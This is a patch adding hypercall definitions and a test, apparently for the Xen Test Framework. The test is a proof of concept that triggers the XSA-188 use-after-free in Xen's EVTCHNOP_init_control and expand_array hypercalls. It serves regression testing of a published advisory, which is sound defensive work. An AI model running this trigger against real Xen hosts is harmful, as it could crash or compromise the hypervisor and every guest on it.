#define XEN_PUBLIC_EVENT_CHANNEL_H
#define EVTCHNOP_send 4
+#define EVTCHNOP_init_control 11
+#define EVTCHNOP_expand_array 12
typedef uint32_t evtchn_port_t;
+struct evtchn_init_control {
+ /* IN parameters. */
+ uint64_t control_gfn;
+ uint32_t offset;
+ uint32_t vcpu;
+ /* OUT parameters. */
+ uint8_t link_bits;
+ uint8_t _pad[7];
+};
+
+struct evtchn_expand_array {
+ /* IN parameters. */
+ uint64_t array_gfn;
+};
+
#endif /* XEN_PUBLIC_EVENT_CHANNEL_H */
/*
--- /dev/null
+/**
+ * @file tests/xsa-188/main.c
+ * @ref test-xsa-188
+ *
+ * @page test-xsa-188 XSA-188
+ *
+ * Advisory: [XSA-188](http://xenbits.xen.org/xsa/advisory-188.html)
+ *
+ * EVTCHNOP_init_control with an invalid control_gfn will correctly
+ * fail and free resources but incorrectly leaves a pointer to freed
+ * memory.
+ *
+ * A subsequent EVTCHNOP_expand_array call (for example) will use this
+ * freed memory.
+ *
+ * @see tests/xsa-188/main.c
+ */
+#include <xtf.h>
+#include <arch/x86/mm.h>
+
+static uint8_t array_page[PAGE_SIZE] __aligned(PAGE_SIZE);
+
+void test_main(void)
+{
+ struct evtchn_init_control init_control;
+ struct evtchn_expand_array expand_array;
+ int ret;
+
+ printk("XSA-188 PoC\n");
+
+ /* 1. EVTCHNOP_init_control with bad GFN. */
+ init_control.control_gfn = (uint64_t)-2;
+ init_control.offset = 0;
+ init_control.vcpu = 0;
+
+ ret = hypercall_event_channel_op(EVTCHNOP_init_control, &init_control);
+ if ( ret != -EINVAL )
+ xtf_failure("EVTCHNOP_init_control returned %d (!= %d)\n", ret, -EINVAL);
+
+ /* 2. EVTCHNOP_expand_array. */
+ expand_array.array_gfn = virt_to_gfn(array_page);
+
+ ret = hypercall_event_channel_op(EVTCHNOP_expand_array, &expand_array);
+ if ( ret != -ENOSYS )
+ xtf_failure("EVTCHNOP_expand_array returned %d (!= %d)\n", ret, -ENOSYS);
+
+ xtf_success(NULL);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */